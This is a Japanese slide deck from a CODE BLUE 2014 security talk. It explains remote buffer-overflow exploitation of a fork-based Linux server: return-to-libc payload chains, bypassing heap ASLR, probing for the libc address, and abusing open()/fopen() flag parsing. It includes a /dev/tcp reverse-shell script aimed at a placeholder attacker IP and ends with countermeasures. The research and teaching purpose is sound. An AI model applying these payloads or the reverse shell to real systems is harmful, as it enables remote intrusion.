Upload
code-blue
View
2.203
Download
0
Tags:
Embed Size (px)
DESCRIPTION
セキュリティの強化された最新版の現在のLinuxOSの保護機能を迂回し、リモートからの攻撃を成功させる方法と対策について詳細に説明する。 近年のオペレーティングシステムにはエクスプロイトから保護する強化されたセキュリティ技術が多く使われています。 ASLRとNX (DEP)の2つはそうしたセキュリティを目的とした技術です。 しかしながら、これらの技術も高度なエクスプロイト技術を使う事で迂回する事が可能です。 昨今は、クライアント起点からの、サーバーのデーモン等を対象としたリモートからのコード実行を目的とするエキスプロイトは徐々に難しくなって来ています。 このような場合、多くは対象システムに関する情報の入手が難しくなって来ており、ゆえにコード実行も困難になってきています。 ターゲットとするプロセスのメモリー内レイアウトはリモートからのエクスプロイトに置いては必要不可欠な情報の一つと言えます。 最近ではメモリー漏洩を使ってメモリー内にどのようなライブラリーが読み込まれてるかを判断する 技術が登場しており、このような技術を使う事でASLRを迂回する事が可能になります。 これ以外にもリモートでターゲットとするプロセスのメモリーレイアウトを解析する方法があります。 この手法は対象となるリモートプロセスに対して有効なメモリーアドレスを探る方法です。 リナックス環境ではforkされた子プロセスは常に親プロセスにおいてランダム化されたメモリーレイアウトを常に継承しています。 よってサーバーのデーモンに対するクライアントのコネクションは同じメモリーレイアウトを共有します。 メモリーレイアウトのランダム化は親プロセスの起動時のみに行われ、クライアントから接続を処理するため子プロセスが発生した時には行われません。 子プロセスの継承により各接続から情報を集約することでターゲットとするリモートなプロセスのメモリーレイアウトの全体像を垣間見る事が可能になります。 ターゲットとするリモートプロセスに対して特定なアドレスが有効なメモリーアドレスかどうかを探り、得られた情報を集約する事でメモリー内のlibcライブラリーの場所が特定でき、更なるコード実行を行うエクスプロイトが可能になります。 このようなやり方をブルートフォース型攻撃とする意見もありますが、効率的なブルートフォース技術を使うことで多くの場合は最低限必要な試みを10回以下にする事が可能です。 本講演では、どのようにして特定のコードを使う事でメモリーレイアウトスペースにてターゲットがブロック状態になるのかの証明や、そうして得た情報を元にリモートからのエクスプロイト攻撃シナリオの中で安定したコードの実行について、リナックス環境に置けるリモートエクスプロイト開発によく使われる手法とともに発表します。 スクハー・リー- Seok-Ha Lee (wh1ant) 韓国のハッキングチームWiseguysのメンバー。子供の頃からソフトウェア開発を初め、徐々にセキュリティ研究に興味を持つようなる。2011年に就職、企業でリナックスカーネルのモジュールを使ったセキュリティソリューションに関するセキュリティ研究を行うようになる。複数の脆弱性を発見する傍ら、韓国内のカンファレンスにてセキュリティに関する発表を行
Citation preview
Linuxににおおけけるる様様々々なな リリモモーートトエエキキススププロロイイ
トト手手法法 wh1ant (Author A.K.A) SeokHa Lee (Author name) [email protected]
http://wh1ant.kr
CODE BLUE 2014
謝辞
ここのの資資料料ををレレビビュューーししててくくれれたた ハハンンドドルル名名 trigger 氏氏にに感感謝謝ししまますす。。 (^_^)
自己紹介 名名前前: SeokHa Lee ハハンンドドルル名名: wh1ant (white ant or ant::白白蟻蟻ももししくくはは蟻蟻) wh1ant ででfacebookややっっててまますす
韓韓国国ののハハッッカカーーチチーームム ‘WISEGUYS’ メメンンババーー いいくくつつもものの脆脆弱弱性性をを発発見見 韓韓国国ののカカンンフファァレレンンススででセセキキュュリリテティィ関関連連のの講講演演 韓韓国国のの多多くくののCTFにに挑挑戦戦のの実実績績
http://wh1ant.kr
http://hackerschool.org
今回のトピック Linuxににおおけけるるリリモモーートト・・ババッッフファァ
オオーーババーーフフロローー
• サーバにファイルを作成 • NULL バイト処理回避 • ヒープASLRの無効化 • libcの高速サーチ
攻撃手法 • コードインジェクション - NX機能の無効化が不可欠 • RTL (Return-To-libc攻撃) - ASLRの無効化が不可欠 • ROP (Return Oriented Programming) - ガジェットの存在が不可欠 - ペイロードが長くなりすぎる
アドレスの見つけ方 • ブルート・フォース • メモリ読み取り • send(), write() 関数の使用
[&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]
コードと環境
int get_result(const int sock, char odd_or_even) {
char small_buf[25]; char big_buf[128]; … write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1);
…
strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0;
}
Fedora 18
フォークベースのサーバ
$ gcc server.c –o server -fno-stack-protector
攻撃シナリオ
攻撃目標 ハッカー
libc ののアアドドレレススをを検検出出
攻攻撃撃フファァイイルルをを作作成成
実実行行
パーミッション付きファイルを作成
1 - /tmp ディレクトリ - libcライブラリの “/tmp” 変数を使用可能 2 – 次の条件を満たすログファイル - “log/log_%Y%m%d.log” 変数を使用可能 3 – 次の目的のためのデーモンPIDファイル - プロセスをチェックする
使用する関数
open(), write()
O_WRONLY == 0x1 O_CREAT == 0x40
攻撃ペイロード
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
サーバー側で攻撃を行うためのペイロード
興味深いカーネルコード struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode) ... if (!(open_flag & O_CREAT)) mode = 0;
/* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY;
/* * O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only __O_SYNC. */ if (open_flag & __O_SYNC) open_flag |= O_DSYNC;
if (!acc_mode) acc_mode = MAY_OPEN | ACC_MODE(open_flag);
/* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode |= MAY_WRITE;
0x40のみをチェック (O_CREAT)
ビット単位の AND 演算
00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 -----------------------------------------------------------00000000 00000000 00000000 00000000
00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ----------------------------------------------------------- 00000000 00000000 00000000 01000000
0x40 (O_CREAT)
00000000 00000000 00000000 01000000
0x40 (O_CREAT)
0x40 (O_CREAT)
ファイルを作成 #include <stdio.h> #include <fcntl.h>
int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; }
16進数表記で 0x11111040 は、 O_CREAT を意味し、 0xfffff9ff は8進数表記の 4777 パーミッションを意味する。プログラムを実行すると、 “test” という名のファイルができる。
欠陥
static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files);
if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; }
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
ファイル記述子の最大値を超えるとNULLリターン
改めてテスト
#include <stdio.h>
int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==NULL) { printf("fopen() error\n"); return -1; }
fputc(‘A’, fp); fclose(fp); return 0; }
#include <stdio.h>
FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);
#include <stdio.h>
int main(void) { FILE* fp=fopen("test_file", "wHello_world"); if(fp==NULL) { printf("fopen() error\n"); return -1; }
fputc(0xffffff41, fp); fclose(fp); return 0; }
フェイク・コード #include <stdio.h>
FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);
“answer” == append モード “wer” == write モード
“answer”
fopen() 制御文字 switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; }
; ex movzx eax,BYTE PTR [eax] movsx eax,al cmp eax,0x72 ; ‘r’ check je 0x804843c
ペイロード
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
[&fopen()] [pop*2] [&“filename”] [&“w”] [&fputc()] [dummy] [0xffffff41] [<file pointer>]
しかし・・・ ポインターアドレスはどうやって探し出す?
ランダムなファイルポインタ #include <stdio.h>
int main(void) { FILE* fp;
fp=fopen("test_file", "wt");
printf("fopen(): %p\n", fp);
if(fp) fclose(fp);
return 0; }
#include <stdio.h> #include <stdlib.h>
int main(void) { char* p; FILE* fp;
p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w");
printf("malloc(): %p\n", p); printf("fopen(): %p\n", fp);
if(p) free(p); if(fp) fclose(fp); return 0; }
ヒープASLRのいくつかを無効化
0xb7400468 もしくは 0xb7500468
ヒープ構造 1/5 malloc()
brk() mmap()
アロケーションサイズが 128 kb より大きな場合
__libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap()
__libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()
ヒープ構造 2/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { /* _int_malloc() が mmap() を引数 0xffffffff で呼び出そうとする */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // アロケーション可否をチェック、 0xffffffff ではサイズが大きすぎるのでアロケーション不可となる 2860 /* アロケーション不可はmmapされていないエリアで実行されているためかも? */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */ /* arena_get2() も内部でmmap() を呼び出している */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
ヒープ構造 3/5 521 new_heap(size_t size, size_t top_pad) ... 552 /* メモリサイズ 0x200000 をアロケート */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // 555 ~ 557 行は0xb73fffff へのランダム化されたアドレスのオフセット 558 if (ul) 559 __munmap(p1, ul); // いくつかのメモリアロケーションを解放 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* 0x21000 以下のサイズの読み書きを可能にする */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
ヒープ構造 4/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // fopen() が呼び出されるl 2859 if(!victim) { 2860 /*不可はmmapされていないエリアで実行されているためかも? */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */ /* arena_get2() も内部でmmap() を呼び出している*/ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
ヒープ構造 5/5 2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av) ... 2681 p = av->top; // mmap (0xb7400000) よりのプリアロケートされたメモリアドレス 2682 size = chunksize(p); // 従前のアロケーションサイズを取得 // (返り値はほぼ 0x21000) 2683 2684 /* 上記のアロケーションパスで成功したものをチェック */ /*保存された従前のアロケーションサイズがリクエストされたメモリサイズより大きいか否かをチェック */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size | PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // mmapでアロケーションされたメモリアドレスを返す 2693 } 2694 2695 /* すべての失敗したパスをキャッチ */ 2696 __set_errno (ENOMEM); 2697 return 0; 2698 }
マッピング情報
このメモリ領域が使える!
‘リピート コード’ とは?
; リピート コード 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx
;リピート コード 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx
‘リピート コード’ を見つける
[&puts()] [0x080486ac ~ 0x08049578] [0x08048001]
実行コードの最初のアドレス: 0x080486ac 実行コードの最後のアドレス: 0x08049578
python を使って ‘repeat code’ を見つける
ファイルポインタがペイロードをチェック
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]
/proc/net/tcp (ESTABLISHED state check)
ファイルがペイロードを書き込む
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]
#!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5|while read line;do $line 2>&5>&5;done
サーバ側の攻撃コード
libcの高速サーチ1/5
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
libcの高速サーチ2/5
0xb7801000 – 0xb7622000 = 0x1df000 (offset)
... int* p=0x0; int temp=*p; // 無効なアドレスの場合はセグメンテーション違反となる ....
... int* p=0x08048000; int temp=*p; /* もし、このメモリアドレスが存在していたらセグメンテーション違反にはならない */ ....
libcの高速サーチ3/5
b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …
[&puts()] [&repeat code] [&exist address]
存在するアドレスを探す
libcの高速サーチ4/5
[&puts()] [repeat code] [0xb7 5~8 00101] <= 66桁桁目目をを探探すす [&puts()] [repeat code] [0xb76 0~f 0101] <= 55桁桁目目をを探探すす [&puts()] [repeat code] [0xb761 0~f 101] <= 44桁桁目目をを探探すす
6 桁桁目目、、アアドドレレスス 0xb7700101 はは存存在在 5 桁桁目目、、アアドドレレスス 0xb7630101 はは存存在在 4 桁桁目目、、アアドドレレスス 0xb7622101 はは存存在在
b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …
アドレスを一桁づつ探す
libcの高速サーチ5/5
0xb7622101 – 0x101 = 0xb7622000
メモリにアクセスする関数 int puts(const char *s);
size_t strlen(const char *s);
int atoi(const char *nptr);
int strcmp(const char *s1, const char *s2);
int printf(const char *format, ...);
int sprintf(char *str, const char *format, ...);
ペイロードのレビュー 1/2
[&puts()] [&repeat code] [&exist libc]
1. libc アドレスを検出
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]
2. ファイルポインタアドレスを検出
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]
3. ファイルに書き込み
ペイロードのレビュー 2/2
[&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“]
4. ファイルのパーミッションを変えて実行
デデモモ (http://youtu.be/LsgI-SALQJY)
デモ2
ペイロードの部分
big_buf[128]
user_email[50] user_name[50]
ペイロード1
ペイロード2
ペイロード3
esp 0x118 を追加
esp 0x48 を追加
[&puts()] [&repeat code] [0x00049cf0]
0x00049cf0 => \xf0\x9c\x04\x00
ASCII-Armor が有効になったシステム
高位アドレス
NULL バイト処理回避用ペイロード
[&fprintf()] [dummy] [file pointer] [&“%c”] [0x00]
NULLバイト処理を回避するバイナリファイルはどうやってつくる?
0xffffff00 => \x00\xff\xff\xff
ご注意! $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
mm_struct -> vm_area_struct -> mm_base 0xb7801000 のアドレスが見える
521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
どのように防ぐ? 1/4
ヒヒーーププASLR無無効効化化ココーードドをを除除去去!!
どのように防ぐ? 2/4
NULL パラメータチェック
#include <stdio.h> #include <fcntl.h>
void open_test(int flags) { if(0xffff0000&flags) { printf("open_test() error\n"); return; } printf("open_test() call\n"); }
int main(void) { open_test(O_WRONLY|O_CREAT); // open open_test(0xffffff41); // open 失敗 open_test(0x00ffff41); // open 失敗 return 0; }
open(), mmap(), mprotect(), fputc(), etc…
どのように防ぐ? 3/4 if(strlen(mode)>3) // 変数の長さをチェック { printf(“fopen() error\n”); // 変数が長すぎる return NULL; }
switch (*mode) { case 'r': … break; case 'w': … break; case 'a': … break; … }
どのように防ぐ? 4/4
各々のアドレスにランダムにオフセットを割り振る
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b78f6000-b78f9000 rw-p 00000000 00:00 0 b78fd000-b78ff000 rw-p 00000000 00:00 0 b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso] b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
ごご質質問問ををどどううぞぞ
ごご清清聴聴あありりががととうう ごござざいいままししたた!!